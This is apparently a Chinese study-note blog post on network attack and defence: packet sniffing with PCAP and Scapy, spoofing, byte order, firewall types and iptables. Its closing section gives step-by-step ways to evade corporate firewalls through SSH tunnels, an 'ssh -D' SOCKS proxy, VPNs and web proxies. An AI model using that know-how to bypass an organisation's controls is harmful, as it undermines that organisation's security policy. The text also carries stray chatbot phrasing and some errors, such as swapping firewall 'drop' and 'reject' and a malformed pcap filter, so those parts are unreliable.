網路攻防原理概覽

EverlastingSun發表於2024-11-17

資料包嗅探和偽造背景

BPF 是什麼?

BSD資料包過濾器

當進行網路嗅探時,嗅探器經常只會對某些特定型別的資料包感興趣,如TCP資料包或者DNS資料包。 系統可以將所有捕獲到的資料包交給嗅探程式,嗅探程式會丟棄它不需要的資料包,但是這種處理方式效率低下,因為 把這些沒用的資料包從核心傳到嗅探程式是需要花費CPU時間的。

UNIX作業系統定義了BSD資料包過濾器(BSD packet filter, BPF),用於在底層實現資料包的過濾。BPF允許使用者 空間的程式將一個過濾器和一個套接字進行繫結,其本質上是為了告知核心儘早丟棄不需要的資料包。 過濾器一般是首先使用布林運算子編寫的可讀性較強的程式碼,隨後該程式碼被編譯成虛擬碼傳遞給BPF驅動。

位元組順序

位元組順序和處理器架構有關,和幾位作業系統無關 x86系列計算機都是小端序

小端位元組順序的計算機先寫最低位元組,大端是先寫最高位元組。

名字來由

來自《格列佛遊記》,吃雞蛋先敲大頭還是小頭。大端位元組意味著先從大的位元組開始儲存。

網路位元組序: 為了解決位元組順序不匹配的問題,IANA(Internet Assigned Numbers Authority,網際網路 數字分配機構)定義了一種名為網路位元組順序的位元組順序,這就要求計算機在將多個位元組資料寫入資料包時使用這種位元組 順序,而不是作業系統的位元組順序。這種位元組順序和大端位元組順序是相同的。

位元組序宏函式:為了方便網路位元組序和本機位元組序之間轉換,提供瞭如下宏函式,從而使得程式碼有可移植性。

宏函式描述
htons() 把無符號短整數從本機位元組序轉網路位元組序
htonl() 把無符號整數從本機位元組序轉網路位元組序
ntohs() 把無符號短整數從網路位元組序轉本機位元組序
ntohl() 把無符號整數從網路位元組序轉本機位元組序

網路卡如何接收資料?

網路卡 (NIC) 是連線機器和網路的物理或邏輯裝置。每張網路卡都有一個獨特的 MAC 地址,由 48 位二進位制數字組成。網路上的所有網路卡都能接收到線路上的所有資料幀。

當一個資料包到達時,網路卡會檢查它的目標 MAC 地址。如果目標 MAC 地址與該網路卡的 MAC 地址相匹配,那麼該資料包就會被複制到核心中的一個緩衝區。

如果不匹配,則資料包會被丟棄。 然而,當網路卡處於混雜模式時,它會將接收到的所有資料包都傳遞給核心,這使得網路嗅探成為可能。 在 Wi-Fi 中,混雜模式被稱為監控模式

為了進一步控制哪些資料包會被傳遞到應用程式,可以使用 BSD 資料包過濾器 (BPF)。 BPF 允許使用者程式將過濾器附加到套接字,告訴核心丟棄不需要的資料包。 當核心接收到資料包時,BPF 會被呼叫,只有透過過濾器的包才會被推送到協議棧上。

PCAP 庫 提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。 它允許程式設計師使用人類可讀的布林表示式指定過濾規則。 資料包嗅探 描述了捕獲網路中實時資料的過程。 在使用 PCAP API 進行資料包嗅探時,資料包引數包含資料包的副本,包括乙太網報頭。 然後可以訪問結構的欄位,例如 IP 報頭。

使用者空間、核心空間和網路卡

使用者空間核心空間是作業系統的兩個獨立區域。使用者空間是使用者應用程式執行的地方,而核心空間是作業系統核心執行的地方,負責管理系統的硬體資源,包括網路卡。

網路卡 (NIC) 是計算機與網路之間的物理介面,負責傳送和接收資料包。網路卡工作在核心空間,因為它需要直接訪問硬體資源。當網路卡接收到一個資料包時,它會將其傳遞給核心。核心會根據資料包的目標地址和埠號等資訊,將其轉發給相應的應用程式,該應用程式執行在使用者空間。

BPF (BSD Packet Filter)PCAP 庫 都可以用來捕獲和過濾網路資料包。BPF 允許使用者空間程式將過濾器附加到套接字,告訴核心丟棄不需要的資料包。PCAP 庫提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。

混雜模式是一種特殊的網路卡工作模式,它允許網路卡接收所有網路流量,而不僅僅是發給它的資料包。這對於網路嗅探非常有用。 在 Wi-Fi 中,混雜模式被稱為監控模式

資料包偽造是一種網路攻擊技術,攻擊者可以偽造資料包的源地址、目標地址等資訊,以欺騙網路裝置或應用程式。

總而言之,網路卡是連線使用者空間和核心空間的關鍵元件。網路卡工作在核心空間,負責接收和傳送資料包。核心會根據資料包的資訊,將其轉發給相應的應用程式,該應用程式執行在使用者空間。BPF 和 PCAP 庫可以用來捕獲和過濾網路資料包,而混雜模式可以用來接收所有網路流量。資料包偽造是一種網路攻擊技術,可以用來欺騙網路裝置或應用程式。

資料包嗅探 (sniffing)

資料包嗅探是指捕獲網路中實時資料的過程。簡而言之,它就像在網路中放置一個“監聽器”,監聽所有經過的資料包。

為了實現資料包嗅探,需要網路卡工作在混雜模式下。在正常模式下,網路卡只接收目標 MAC 地址與自身 MAC 地址匹配的資料包。而在混雜模式下,網路卡會接收所有經過的資料包,無論目標 MAC 地址是什麼。在 Wi-Fi 中,混雜模式被稱為監控模式

捕獲資料包後,可以使用 BPF (BSD Packet Filter) 進行過濾。BPF 允許使用者程式將過濾器附加到套接字,告訴核心只保留符合特定條件的資料包,例如特定協議、源地址或目標地址的資料包。

PCAP 庫 提供了一個更易於使用的 API 來處理原始套接字和資料包過濾。它在內部使用原始套接字,但其 API 在所有平臺上都是標準的,並允許程式設計師使用人類可讀的布林表示式指定過濾規則。

透過分析捕獲的資料包,可以獲取各種資訊,例如:

  • 網路流量模式

  • 使用者行為

  • 敏感資料,例如使用者名稱、密碼等

因此,資料包嗅探可以用於各種目的,例如:

  • 網路監控和故障排除

  • 安全審計

  • 入侵檢測

  • 網路攻擊

但是,資料包嗅探也可能被用於惡意目的,例如竊取敏感資訊。因此,在進行資料包嗅探時,務必遵守相關的法律法規和道德規範。

Clip_2024-11-05_16-02-56

Clip_2024-11-05_16-03-28

原始套接字和套接字

原始套接字和普通套接字的區別

普通套接字當核心接收到資料包時,它會透過網路協議棧傳遞資料包,並最終將資料包的載荷(payload)透過socket傳遞 給應用程式。 對於原始套接字,核心首先會向socket(和它的應用)傳遞資料包的一份複製,包括鏈路層頭部等資訊,然後再進一步將資料 包傳遞給協議棧。raw socket不會攔截資料包,只是得到了資料包的一份複製。

PCAP 庫的定義和必要性

PCAP(Packet Capture)庫是一個用於捕獲和分析網路流量的應用程式程式設計介面(API)。它提供了一個跨平臺的標準介面,用於訪問和處理網路資料包。

PCAP 庫的必要性源於直接使用原始套接字進行資料包捕獲的侷限性。雖然原始套接字允許程式直接訪問網路層協議,但這種方法存在以下缺陷:

  • 程式不可移植: 使用原始套接字編寫的程式難以在不同作業系統之間移植。

  • 設定過濾器困難: 使用原始套接字設定資料包過濾器較為複雜。

  • 缺乏效能最佳化: 原始套接字程式設計通常缺乏效能最佳化,效率較低。

PCAP 庫的出現解決了這些問題。它在內部仍然使用原始套接字,但透過提供一個統一的 API,隱藏了不同作業系統之間的差異,使程式更易於移植。同時,PCAP 庫提供了使用人類可讀的布林表示式來指定過濾規則的功能,簡化了資料包過濾的設定。

此外,PCAP 庫還提供了一些效能最佳化,例如使用BPF (BSD Packet Filter) 進行高效的資料包過濾。

PCAP 庫被廣泛應用於各種網路工具和應用程式中,例如:

  • 網路嗅探器: 用於捕獲和分析網路流量,例如 Wireshark 和 tcpdump。

  • 入侵檢測系統: 用於檢測和阻止網路攻擊。

  • 網路效能分析工具: 用於分析網路流量,識別效能瓶頸。

總而言之,PCAP 庫提供了一種強大、靈活且易於使用的方式來捕獲和分析網路流量,克服了使用原始套接字方法的侷限性。它已成為網路安全和網路管理領域不可或缺的工具。

資料包偽造 (Spoofing)

資料包偽造是指在資料包中的一些關鍵資訊被篡改,例如源地址、目標地址等,以欺騙網路裝置或應用程式的行為。許多網路攻擊都依賴於資料包偽造,例如 ARP 欺騙、DNS 欺騙等。

資料包偽造的步驟

資料包偽造主要分為兩個步驟:

  1. 構建資料包: 攻擊者需要根據目標協議和攻擊目的,構建一個包含偽造資訊的自定義資料包。例如,如果要偽造 UDP 資料包,則需要構建一個包含 UDP 報頭的自定義資料包,並在 UDP 報頭中填寫偽造的源埠號、目標埠號等資訊。

  2. 傳送資料包: 構建好資料包後,攻擊者需要使用原始套接字將資料包傳送到目標網路裝置或應用程式。

使用原始套接字進行資料包偽造

原始套接字是一種特殊的套接字型別,它允許使用者程式直接訪問網路層協議,例如 IP 協議。 使用原始套接字,攻擊者可以構建和傳送自定義的 IP 資料包,並在資料包中填寫偽造的資訊。

由於原始套接字程式設計比較複雜,因此可以使用 Scapy 等工具來簡化資料包的構建和傳送過程。 Scapy 是一個基於 Python 的資料包操作庫,它可以方便地構建、傳送、接收、分析和偽造網路資料包。

資料包偽造的應用

資料包偽造可以用於各種網路攻擊,例如:

  • 拒絕服務攻擊 (DoS): 攻擊者可以偽造大量的資料包,並將這些資料包傳送到目標伺服器,從而導致伺服器癱瘓。

  • 中間人攻擊 (MITM): 攻擊者可以偽造資料包,攔截客戶端和伺服器之間的通訊,從而竊取敏感資訊或篡改通訊內容。

  • ARP 欺騙: 攻擊者可以偽造 ARP 資料包,將自己的 MAC 地址與目標 IP 地址繫結,從而攔截目標裝置的網路流量。

防範資料包偽造

為了防範資料包偽造攻擊,可以採取以下措施:

  • 使用防火牆: 防火牆可以根據資料包的源地址、目標地址、埠號等資訊,過濾掉可疑的資料包。

  • 使用入侵檢測系統 (IDS): IDS 可以檢測網路中的異常流量,併發出警報。

  • 使用安全協議: 例如,使用 HTTPS 協議可以加密通訊內容,防止中間人攻擊。

  • 對網路裝置進行安全配置: 例如,配置路由器以防止 ARP 欺騙。

嗅探然後偽造

在許多情況下,我們需要先捕獲資料包,然後根據捕獲的資料包偽造響應。

使用 UDP 作為例子的步驟

  1. 使用 PCAP API 捕獲感興趣的資料包。

  2. 從捕獲的資料包中建立一個副本。

  3. 將 UDP 資料欄位替換為新訊息,並交換源欄位和目標欄位。

  4. 傳送偽造的回覆。

使用 Scapy 進行資料包嗅探和偽造

Scapy 是一個強大的基於 Python 的資料包操作庫,它可以輕鬆構建、傳送、接收、分析和偽造網路資料包。使用 Scapy,您可以執行以下操作:

  • 嗅探和捕獲特定型別的資料包,例如 UDP 資料包。

  • 從捕獲的資料包中提取資訊,例如源 IP 地址、目標 IP 地址、源埠號和目標埠號。

  • 使用提取的資訊構建新的資料包,並在其中新增自定義訊息或修改現有欄位。

  • 將偽造的資料包傳送到目標裝置。

Scapy 與 C 語言在資料包偽造方面的比較

  • Python + Scapy

    • 優點:構建資料包非常簡單。

    • 缺點:比 C 程式碼慢得多。

  • C 程式(使用原始套接字)

    • 優點:速度快得多。

    • 缺點:構建資料包很複雜。

  • 混合方法

    • 使用 Scapy 構建資料包。

    • 使用 C 語言稍微修改資料包,然後傳送資料包。

位元組序

位元組序是指多位元組資料項在記憶體中儲存的順序。

  • 小端序:將資料的最高有效位元組儲存在最高地址。

  • 大端序:將資料的最高有效位元組儲存在最低地址。

網路通訊中的位元組序

  • 具有不同位元組序的計算機將“誤解”彼此。

    • 解決方案:就通訊的共同順序達成一致。

    • 這被稱為“網路位元組序”,它與大端序相同。

  • 所有計算機都需要在“主機位元組序”和“網路位元組序”之間轉換資料。

使用Scapy進行資料包嗅探

Scapy是一個強大的基於Python的資料包操作庫,可以輕鬆構建、傳送、接收、分析和偽造網路資料包。

雖然您提供的資料中沒有明確說明如何使用Scapy進行資料包嗅探,但基於Scapy的功能和資料包嗅探的步驟,我們可以推測出以下步驟:

  1. 匯入Scapy庫: 在Python指令碼中匯入Scapy庫。

  2. 定義嗅探過濾器: 使用BPF語法或Scapy的過濾函式定義要捕獲的資料包型別,例如,只捕獲UDP資料包。

  3. 指定網路介面: 選擇要嗅探資料包的網路介面,例如eth0或wlan0。

  4. 開始嗅探: 使用Scapy的sniff函式開始捕獲資料包,並將捕獲的資料包儲存在列表或其他資料結構中。

  5. 處理捕獲的資料包: 可以使用Scapy的各種函式分析和處理捕獲的資料包,例如,提取源IP地址、目標IP地址、埠號等資訊。

示例程式碼:

from scapy.all import *

# 定義過濾器,只捕獲UDP資料包
filter_expression = "udp"

# 指定網路介面
interface = "eth0"

# 開始嗅探資料包,並將捕獲的資料包儲存在packets列表中
packets = sniff(iface=interface, filter=filter_expression)

# 處理捕獲的資料包
for packet in packets:
# 列印資料包的摘要資訊
print(packet.show())

注意: 這段程式碼只是一個示例,實際使用時需要根據具體需求進行修改。

Scapy的優勢:

  • 使用Python編寫,語法簡單易懂。

  • 提供豐富的函式庫,可以方便地構建、傳送、接收、分析和偽造各種網路資料包。

  • 跨平臺支援,可以在Windows、Linux和macOS等作業系統上執行。

Scapy的劣勢:

  • 效能相對較低,不適合處理高速網路流量。

總結:

Scapy是一個功能強大的資料包操作工具,可以用於各種網路安全研究和測試。 使用Scapy進行資料包嗅探可以方便地捕獲和分析網路流量,併為進一步的資料包偽造提供基礎。

Pcap過濾器例項

dst host 10.0.2.5 只捕獲目的ip地址為10.0.2.5的資料包 src host 10.0.2.6 只捕獲源ip地址為10.0.2.6的資料包 host 10.0.2.6 and src host port 9090 只捕獲源或目的ip地址為10.0.2.6,並且源埠號為9090的資料包 proto tcp 只捕獲TCP資料包

路由跟蹤traceroute

traceroute是用來檢測發出資料包的主機到目標主機之間所經過的閘道器數量的工具。 traceroute的原理是試圖以最小的TTL(存活時間)發出探測包來跟蹤資料包到達目標主機所經過的閘道器, 然後監聽一個來自閘道器ICMP的應答。傳送資料包的大小預設為38個位元組。

Traceroute程式完整過程

首先它傳送一份TTL欄位為1的IP資料包給目的主機,處理這個資料包的第一個路由器將TTL值減1, 然後丟棄該資料包,並給源主機傳送一個ICMP報文(“超時”資訊,這個報文包含了路由器的IP地址,這樣就得到了第一個路由器的地址), 然後traceroute傳送一個TTL為2的資料包來得到第二個路由器的IP地址,繼續這個過程,直至這個資料包到達目的主機。

如何檢查你的 CPU 是大端序還是小端序?

位元組序是指多位元組資料(例如整數)在計算機記憶體中儲存的順序。 大端序將資料的最高有效位元組儲存在最低地址,而小端序將資料的最高有效位元組儲存在最高地址。

為了確定 CPU 使用的是大端序還是小端序,您可以使用聯合體和 C 程式碼。以下程式碼片段說明了這種方法:

int checkCPU() {
union w {
int a;
char b;
} c;
c.a = 1;
return (c.b == 1);
}

程式碼解釋:

  1. 聯合體: 程式碼使用一個名為 w 的聯合體。聯合體是一種特殊的資料型別,允許在相同的記憶體位置儲存不同型別的資料。 在這種情況下,聯合體 w 包含一個整數 a 和一個字元 b

  2. 賦值: 程式碼將整數 1 賦值給聯合體成員 c.a。 由於整數通常佔用多個位元組(例如 4 位元組),而字元只佔用 1 個位元組,因此聯合體的所有成員共享相同的記憶體位置。

  3. 比較: 程式碼比較聯合體成員 c.b 的值是否等於 1

結果分析:

  • 如果 c.b == 1,則 CPU 使用小端序。 這是因為在小端序機器中,整數 1 的最低有效位元組(值為 1)儲存在最低地址,而該地址也被字元 b 佔用。

  • 如果 c.b != 1,則 CPU 使用大端序。 這是因為在大端序機器中,整數 1 的最高有效位元組(值為 0)儲存在最低地址,而該地址也被字元 b 佔用。

在大端序和小端序中,整數 1 的 16 進位制儲存形式是不同的。假設 int 型別佔用 4 位元組(32 位),整數 1 的 16 進製表示是 0x00000001

1. 大端序中的 16 進製表示

大端序(Big Endian)中,高位位元組儲存在低地址,低位位元組儲存在高地址。因此,整數 1 在記憶體中的儲存順序如下:

地址:   [低地址]  --------->  [高地址]
內容: 0x00 0x00 0x00 0x01

所以在大端序中,116 進製表示為:

0x00 0x00 0x00 0x01

2. 小端序中的 16 進製表示

小端序(Little Endian)中,低位位元組儲存在低地址,高位位元組儲存在高地址。因此,整數 1 在記憶體中的儲存順序如下:

地址:   [低地址]  --------->  [高地址]
內容: 0x01 0x00 0x00 0x00

所以在小端序中,116 進製表示為:

0x01 0x00 0x00 0x00

總結對比

位元組序型別記憶體儲存順序(16 進製表示)
大端序 0x00 0x00 0x00 0x01
小端序 0x01 0x00 0x00 0x00

總結:

在網路通訊中,位元組序是一個重要問題,因為不同位元組序的計算機可能會“誤解”彼此的資料2。

為了解決這個問題,網路通訊協議採用了一種共同的位元組序,稱為網路位元組序,它與大端序相同2。

因此,所有計算機都需要在主機位元組序(CPU 使用的位元組序)和網路位元組序之間轉換資料2。

例如,如果一臺小端序計算機要向一臺大端序計算機傳送一個整數,它需要先將整數轉換為網路位元組序(大端序),然後再傳送。 接收方收到資料後,需要將其從網路位元組序轉換回主機位元組序(小端序)。

這樣做可以確保所有計算機都能正確地解釋資料,無論其 CPU 使用的是哪種位元組序。

Problems & Discussions • An integer 0xAABBCCDD is stored in a memory address starting from 0x1000. If the machine is a Big-Endian machine, what is the value stored in addresses 0x1000, 0x1001, 0x1002, and 0x1003, respectively? If the machine is a Little-Endian machine, how is this integer stored?大端序和小端序機器中的整數儲存

大端序機器中,最高有效位元組儲存在最低地址。 因此,整數 0xAABBCCDD 將按以下方式儲存:

  • 0x1000: AA

  • 0x1001: BB

  • 0x1002: CC

  • 0x1003: DD

小端序機器中,最低有效位元組儲存在最低地址。 因此,整數 0xAABBCCDD 將按以下方式儲存:

  • 0x1000: DD

  • 0x1001: CC

  • 0x1002: BB

  • 0x1003: AA

在網路通訊中,為了避免不同位元組序的計算機之間出現“誤解”,會使用網路位元組序,它與大端序相同。 所有計算機都需要在主機位元組序網路位元組序之間轉換資料。

網路層安全

什麼是IP以及為什麼需要IP?

IP協議是TCP/IP協議簇的核心協議,它提供最基本的資料傳輸服務,是實現網路互聯的基礎協議。

為什麼需要IP?

  • 遮蔽底層差異: IP層透過IP地址實現了實體地址的統一,並透過IP資料包實現了物理資料幀的統一,從而遮蔽了底層網路的差異。 這就好比一個通用的翻譯器,可以讓使用不同語言的人們互相理解。

  • 實現網路互聯: IP協議是實現不同網路之間互聯的基礎,使得資料可以在不同型別的網路之間進行傳輸。

  • 不保證可靠性: IP協議本身不保證傳輸的可靠性,也不對資料進行差錯校驗和跟蹤。當資料包發生 損壞時不向傳送方通告。可靠傳輸由更上層的協議(如TCP)負責。

  • IP協議報文格式與封裝: IP協議使用特定的報文格式和封裝方式來傳輸資料。。

總之,IP協議就像網路世界中的“郵政系統”,它負責將資料包從一個地方傳遞到另一個地方,但它並不保證郵件一定會送達或者郵件的內容是完好無損的。

Clip_2024-11-06_16-30-57

IP 防火牆技術詳

IP 防火牆技術是網路安全的重要組成部分,用於保護網路免受未經授權的訪問和攻擊。

防火牆的功能:

  • 作為計算機系統或網路的一部分,用於阻止未經授權的流量從一個網路流向另一個網路。

  • 隔離網路中可信和不可信的元件。

  • 區分可信網路內的網路。

  • 主要功能是過濾資料、重定向流量和防禦網路攻擊。

防火牆的要求:

  • 所有信任區域之間的流量都必須透過防火牆。

  • 只有安全策略定義的授權流量才允許透過。

  • 防火牆本身必須不受滲透,這意味著要使用具有安全作業系統的加固系統。

防火牆策略:

  • 使用者控制:根據嘗試訪問資料的使用者角色控制對資料的訪問。 應用於防火牆邊界內的使用者。

  • 服務控制:透過主機提供的服務型別控制訪問。 基於網路地址、連線協議和埠號進行應用。

    服務控制是指根據訪問的“服務型別”來決定是否允許訪問。防火牆會依據網路地址(使用者所在的網路)、連線協議(如TCP或UDP)以及埠號(表示具體服務)來判斷是否允許訪問。例如,防火牆可以設定規則,讓某些裝置只能訪問特定埠,阻止其他未授權的連線。這種控制方式有助於限制只能透過安全的服務來訪問網路資源,防止未經允許的服務接入。

  • 方向控制:確定可以啟動請求並允許其流經防火牆的方向。 它指示流量是“入站”(從網路到防火牆)還是反之亦然“出站”。

防火牆操作:

  • 接受:允許透過防火牆進入連線的網路/主機。

  • 拒絕:不允許進入防火牆的另一側。

  • 丟棄:類似於拒絕,但透過 ICMP 資料包告知源此決定。

  • 入站過濾:檢查傳入流量以保護內部網路並防止來自外部的攻擊。

  • 出站過濾:檢查傳出流量並防止內部網路中的使用者訪問外部網路,例如阻止學校中的社交網站。

防火牆型別:

根據操作模式,防火牆分為三種型別:

  • 包過濾防火牆: 僅根據資料包頭中的資訊控制流量,而不檢視包含應用程式資料的有效負載。 不關注資料包是否是現有流或流量的一部分,也不維護有關資料包的狀態。 也稱為無狀態防火牆。

  • Clip_2024-11-06_16-52-22

    特點:

    • 基於OSI模型的網路層(第三層)操作。

    • 透過檢查資料包的源地址、目的地址、埠號、協議等資訊來決定是否放行資料包。

    • 無法檢測應用層的內容,只關注每個資料包的基本資訊。

    • 配置簡單,但提供的安全性較低,容易受到較高階別的攻擊(如應用層攻擊)。

    連線過程舉例: 假設一個使用者裝置向伺服器發出一個HTTP請求,資料包過濾器會檢查這個請求的資料包是否符合規則,比如源IP和目標IP、源埠和目標埠是否允許透過。如果規則允許,則資料包會被放行;否則資料包會被丟棄。

    優缺點:

    • 優點:速度快,對效能影響較小,適合低延遲的環境。

    • 缺點:安全性較低,無法深入檢查資料內容,只能過濾基本資訊。

  • 狀態防火牆: 透過監控所有連線互動直到其關閉來跟蹤流量狀態。 維護連線狀態表以瞭解資料包的上下文。 例如,僅允許透過持有開啟連線的埠進行連線。

  • Clip_2024-11-06_16-53-04

    特點:

    • 基於OSI模型的網路層和傳輸層(第四層)操作。

    • 記錄資料包的“狀態”,維護一個“連線狀態表”,跟蹤每個會話的狀態(如建立、傳輸中、關閉)。

    • 在檢查資料包的基礎資訊的同時,還檢查會話的上下文,以確保資料包屬於一個合法的會話。

    • 比資料包過濾器更智慧,能防止偽裝攻擊(如TCP偽造)。

    連線過程舉例: 當一個使用者裝置向伺服器發起TCP連線請求(如HTTP請求),狀態防火牆會首先檢查TCP連線的初始握手過程(三次握手),記錄這個連線的狀態。後續的資料包會匹配這個連線狀態,確保都是合法會話的一部分。如果檢測到資料包不符合連線狀態(如缺少握手過程),則會拒絕連線。

    優缺點:

    • 優點:能識別並追蹤會話,提供更高的安全性,能抵禦偽造攻擊。

    • 缺點:比資料包過濾器略慢,佔用更多記憶體來記錄會話狀態,適合對安全要求較高的環境。

  • 應用/代理防火牆: 控制來自/到應用程式或服務的輸入、輸出和訪問。 透過模擬目標接收者充當中間人。 客戶端的連線在代理處終止,並從代理到目標主機啟動一個單獨的連線。 連線上的資料將被分析到應用層,以確定是否應該傳遞資料包。

  • Clip_2024-11-06_17-00-55

    特點:

    • 基於OSI模型的應用層(第七層)操作。

    • 深入檢查應用層的資料內容,如HTTP請求的URL、電子郵件的內容等。

    • 能夠識別和控制特定應用(如HTTP、FTP、SMTP等)的流量,並檢測和過濾應用層的惡意行為。

    • 提供最高階別的安全性,適合防範SQL隱碼攻擊、XSS等應用層攻擊。

    連線過程舉例: 當使用者透過瀏覽器向伺服器發出HTTP請求時,應用防火牆不僅會檢查資料包的基本資訊,還會深入解析HTTP請求,檢查URL和請求內容。如果請求內容包含惡意程式碼(如SQL隱碼攻擊或跨站指令碼攻擊的程式碼),應用防火牆會阻止請求進入,保護伺服器。

    優缺點:

    • 優點:安全性最高,能檢測應用層的惡意內容,適合保護Web應用。

    • 缺點:處理過程複雜,效能消耗較大,可能會影響傳輸速度。

從容易受到攻擊的角度來看,不同型別的防火牆因其工作層級和檢查深度的差異,對某些攻擊的防禦能力有所不同。以下是三種防火牆容易受到的攻擊型別及原因。


1. 資料包過濾器(Packet Filtering Firewall)

容易受到的攻擊:

  • IP 欺騙(IP Spoofing):資料包過濾器只檢查源和目標IP地址等基礎資訊,無法識別IP地址是否被偽造。攻擊者可以透過偽造合法IP地址的方式騙過防火牆,使其放行偽造的資料包。

  • 分片攻擊(Fragmentation Attacks):在一些情況下,資料包可以被分片傳送,而資料包過濾器可能會放行這些分片資料包,但無法重組並驗證完整資料包是否安全,這讓攻擊者可能透過特定的分片方式隱藏惡意資料。

  • 埠掃描(Port Scanning):資料包過濾器無法檢測連線的上下文和狀態,攻擊者可以透過埠掃描來探測開放的埠,獲得網路中活躍裝置的服務資訊,從而為後續攻擊提供線索。

  • 應用層攻擊(如SQL隱碼攻擊、XSS等):資料包過濾器工作在網路層,對應用層的資料內容不進行檢查,因此無法防禦SQL隱碼攻擊、跨站指令碼(XSS)等高階應用層攻擊。

總結:資料包過濾器的防護能力較弱,尤其是針對複雜的應用層攻擊和偽造攻擊,容易被繞過。


2. 狀態防火牆(Stateful Inspection Firewall)

容易受到的攻擊:

  • 拒絕服務攻擊(DoS/DDoS):狀態防火牆會追蹤連線的狀態,並維護一個連線狀態表。在拒絕服務攻擊中,攻擊者可以傳送大量偽造的連線請求,消耗防火牆的記憶體和處理資源,導致連線狀態表被填滿,從而使合法連線無法進入。

  • 中間人攻擊(Man-in-the-Middle, MITM):狀態防火牆能夠追蹤會話狀態,但並不檢查資料包的內容。攻擊者可以透過劫持連線會話,在會話中植入惡意資料,狀態防火牆可能會認為資料合法並放行,導致資料洩露或被篡改。

  • TCP會話劫持(TCP Session Hijacking):攻擊者可以在建立會話後截獲TCP會話並偽造資料。狀態防火牆會認為這些偽造的資料包屬於已有會話,因此可能放行,從而給攻擊者提供了會話控制權。

總結:狀態防火牆比資料包過濾器更安全,但在面對DDoS攻擊、會話劫持等連線層面上的攻擊仍有不足。


3. 應用防火牆(Application Firewall)

容易受到的攻擊:

  • 加密流量攻擊:應用防火牆通常依賴於明文資料進行深層檢查。如果攻擊者透過加密的流量傳輸惡意程式碼(如透過HTTPS加密的惡意流量),應用防火牆可能無法檢測到內容中的潛在威脅。

  • 零日攻擊(Zero-Day Attack):應用防火牆依賴於已知的攻擊模式或簽名進行檢測,無法識別從未出現過的新型攻擊。攻擊者透過未知的漏洞發起零日攻擊時,應用防火牆可能無法有效防禦。

  • 效能耗盡攻擊:應用防火牆因為需要深度檢查應用層的資料,效能消耗較大,容易受到針對性效能耗盡攻擊。例如,透過傳送大量複雜的HTTP請求,攻擊者可以使應用防火牆過載,從而影響網路效能。

  • 惡意重定向和繞過:攻擊者可能利用協議漏洞或應用邏輯,偽裝成合法流量或利用繞過機制,使應用防火牆難以識別並阻止。例如,某些繞過技術可以讓惡意資料偽裝成普通請求透過應用防火牆的檢查。

總結:應用防火牆在應用層檢查上具有更強的防護能力,但面對加密流量、零日攻擊和耗盡資源攻擊時仍存在不足。


總結對比

防火牆型別容易受到的攻擊型別原因
資料包過濾器 IP欺騙、分片攻擊、埠掃描、應用層攻擊 只檢查基本資訊,缺乏狀態追蹤和內容檢查
狀態防火牆 DDoS攻擊、中間人攻擊、TCP會話劫持 跟蹤會話但不檢查資料內容,易受偽造攻擊
應用防火牆 加密流量攻擊、零日攻擊、效能耗盡攻擊、惡意繞過 深層檢查耗資源,對新型及加密攻擊無防護

不同型別的防火牆適合應對不同的威脅,結合使用多層防護措施可以提升網路整體安全性。

規避防火牆的方法

  • SSH 隧道: SSH 隧道可以在您的計算機和外部伺服器之間建立一個加密通道,防火牆無法看到該通道中的流量,因此無法對其進行過濾。您可以使用 SSH 隧道訪問被防火牆阻止的網站或服務。

    • 示例場景:假設您在公司工作,需要遠端登入到名為“work”的機器。但公司的防火牆阻止了所有傳入流量,使您無法在家中透過telnet連線到“work”。不過,公司的防火牆允許SSH流量到達其內部機器“apollo”,您在該機器上擁有一個帳戶。在這種情況下,您可以利用這臺機器來規避防火牆。

      1. 在“home”和“apollo”之間建立一個SSH隧道。

      2. 在“home”端,隧道接收來自telnet客戶端的TCP資料包。

      3. 它將TCP資料轉發到“apollo”端,然後資料被封裝在另一個TCP資料包中,傳送到機器“work”。

      4. 防火牆只能看到“home”和“apollo”之間的流量,而看不到“apollo”和“work”之間的流量,從而實現規避防火牆的目的。

    • 示例場景:假設您在公司工作,在名為“work”的機器上工作。您想訪問Facebook,但公司為了防止員工分心,遮蔽了Facebook。您可以使用外部機器“home”來繞過這樣的防火牆。

      1. 從“work”到“home”建立一個ssh隧道。

      2. 建立隧道後,您可以在瀏覽器中輸入“localhost:8000”。

      3. 隧道將透過“home”將您的HTTP請求轉發到Facebook。

      4. 防火牆只能看到“work”和“home”之間的ssh流量,而看不到“work”和“Facebook”之間的實際網路流量,從而實現規避防火牆的目的。

        Clip_2024-11-06_17-18-08

  • 動態埠轉發: 動態埠轉發是一種 SSH 隧道技術,它可以將您的所有流量轉發到外部伺服器。這就像使用代理伺服器一樣,可以隱藏您的真實 IP 地址,從而繞過防火牆的限制。

    • 示例場景:使用以下命令在本地主機(埠9000)和機器“home”之間建立一個SSH隧道。這裡我們沒有指定埠轉發的目的地。

      ssh -D 9000 user@home
    • 將瀏覽器配置為所有請求都透過 localhost:9000,將其視為代理。

    • 配置好瀏覽器後,您可以輸入任何被阻止網站的URL,它將連線到本地主機埠9000上的ssh代理。

    • ssh會透過隧道將TCP資料傳送到機器“home”,然後“home”會與被阻止的網站進行通訊。

  • 使用VPN規避防火牆: 使用VPN可以在網路內部的計算機和外部的計算機之間建立隧道。可以透過此隧道傳送IP資料包。由於隧道流量已加密,因此防火牆無法看到此隧道內的內容,也無法進行過濾。

    • 請注意,以上資訊僅來自您提供的資料。VPN的具體實現和效果可能因供應商和配置而異。

  • 使用 Web 代理: Web 代理可以作為您和目標伺服器之間的中介,隱藏您的真實 IP 地址。防火牆只能看到您和代理伺服器之間的流量,而看不到代理伺服器和目標伺服器之間的流量。一些 Web 代理還可以提供匿名化服務,進一步提高您的隱私和安全性。

    • 示例場景: 如果防火牆根據目標地址進行資料包過濾,您可以透過使用 Web 代理瀏覽 Internet 來規避此防火牆。目標地址將被修改為代理伺服器,從而繞過防火牆的資料包過濾規則。

    • 匿名代理:您還可以使用代理來隱藏伺服器的網路請求來源。由於伺服器只能在流量透過代理後才能看到流量,因此源 IP 將是代理的 IP,實際來源將被隱藏。

用iptables實現一個防火牆

Linux自帶的iptables防火牆也是基於Netfilter的。該防火牆在核心中的部分叫做xtables,而iptables是使用者空間用來 設定防火牆的程式。 然而,iptables經常作為核心部分和使用者空間部分兩者的統稱。

iptables防火牆的結構

iptables防火牆不僅可以用來過濾資料包,還可以修改資料包。為了方便管理,iptables使用表和鏈來管理不同用途的防火牆規則。 iptables主要有5個表:filter、nat、mangle、raw和security。

表的用途

過濾資料包規則放在filter 修改資料包規則放在nat或mangle 只修改源和目的地址的規則放在nat表中,其他放在mangle

